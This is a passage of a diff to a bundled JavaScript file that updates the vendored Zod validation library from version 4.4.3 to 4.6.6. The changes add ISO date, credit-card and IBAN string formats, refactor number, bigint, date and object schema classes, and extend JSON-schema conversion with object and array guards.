this.check(_uuidv4(ZodUUID, params)); + }, + uuidv6(params) { + return this.check(_uuidv6(ZodUUID, params)); + }, + uuidv7(params) { + return this.check(_uuidv7(ZodUUID, params)); + }, + nanoid(params) { + return this.check(_nanoid(ZodNanoID, params)); + }, + cuid(params) { + return this.check(_cuid(ZodCUID, params)); + }, + cuid2(params) { + return this.check(_cuid2(ZodCUID2, params)); + }, + ulid(params) { + return this.check(_ulid(ZodULID, params)); + }, + base64(params) { + return this.check(_base64(ZodBase64, params)); + }, + base64url(params) { + return this.check(_base64url(ZodBase64URL, params)); + }, + xid(params) { + return this.check(_xid(ZodXID, params)); + }, + ksuid(params) { + return this.check(_ksuid(ZodKSUID, params)); + }, + ipv4(params) { + return this.check(_ipv4(ZodIPv4, params)); + }, + ipv6(params) { + return this.check(_ipv6(ZodIPv6, params)); + }, + cidrv4(params) { + return this.check(_cidrv4(ZodCIDRv4, params)); + }, + cidrv6(params) { + return this.check(_cidrv6(ZodCIDRv6, params)); + }, + e164(params) { + return this.check(_e164(ZodE164, params)); + }, + datetime(params) { + return this.check(_isoDateTime(ZodISODateTime, params)); + }, + date(params) { + return this.check(_isoDate(ZodISODate, params)); + }, + time(params) { + return this.check(_isoTime(ZodISOTime, params)); + }, + duration(params) { + return this.check(_isoDuration(ZodISODuration, params)); + } }); function string2(params) { return _string(ZodString, params); @@ -75985,6 +80608,22 @@ var ZodStringFormat = /* @__PURE__ */ $constructor("ZodStringFormat", (inst, def $ZodStringFormat.init(inst, def); _ZodString.init(inst, def); }); +var ZodISODateTime = /* @__PURE__ */ $constructor("ZodISODateTime", (inst, def) => { + $ZodISODateTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODate = /* @__PURE__ */ $constructor("ZodISODate", (inst, def) => { + $ZodISODate.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISOTime = /* @__PURE__ */ $constructor("ZodISOTime", (inst, def) => { + $ZodISOTime.init(inst, def); + ZodStringFormat.init(inst, def); +}); +var ZodISODuration = /* @__PURE__ */ $constructor("ZodISODuration", (inst, def) => { + $ZodISODuration.init(inst, def); + ZodStringFormat.init(inst, def); +}); var ZodEmail = /* @__PURE__ */ $constructor("ZodEmail", (inst, def) => { $ZodEmail.init(inst, def); ZodStringFormat.init(inst, def); @@ -76024,8 +80663,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -76134,6 +80773,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -76149,10 +80802,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -76162,11 +80818,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -76212,14 +80886,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -76250,28 +80918,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean3(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint3(params) { return _bigint(ZodBigInt, params); } @@ -76341,41 +81034,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date4(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date3(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -76385,53 +81088,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -76509,13 +81213,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -76529,6 +81246,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -76552,13 +81270,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -76571,6 +81288,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -76590,6 +81308,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -76610,7 +81329,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -76691,6 +81410,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -76706,21 +81426,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -76836,7 +81555,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -76973,8 +81692,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -77014,7 +81740,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -77040,7 +81766,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date4, + datetime: () => datetime2, + duration: () => duration2, + time: () => time3 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date4(params) { + return _isoDate(ZodISODate, params); +} +function time3(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -77130,6 +81881,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -77140,7 +81897,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -77148,6 +81905,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -77240,13 +82189,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -77263,6 +82214,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -77296,10 +82251,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -77330,21 +82285,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -77371,15 +82315,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -77387,13 +82367,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -77401,13 +82380,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -77427,6 +82405,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + 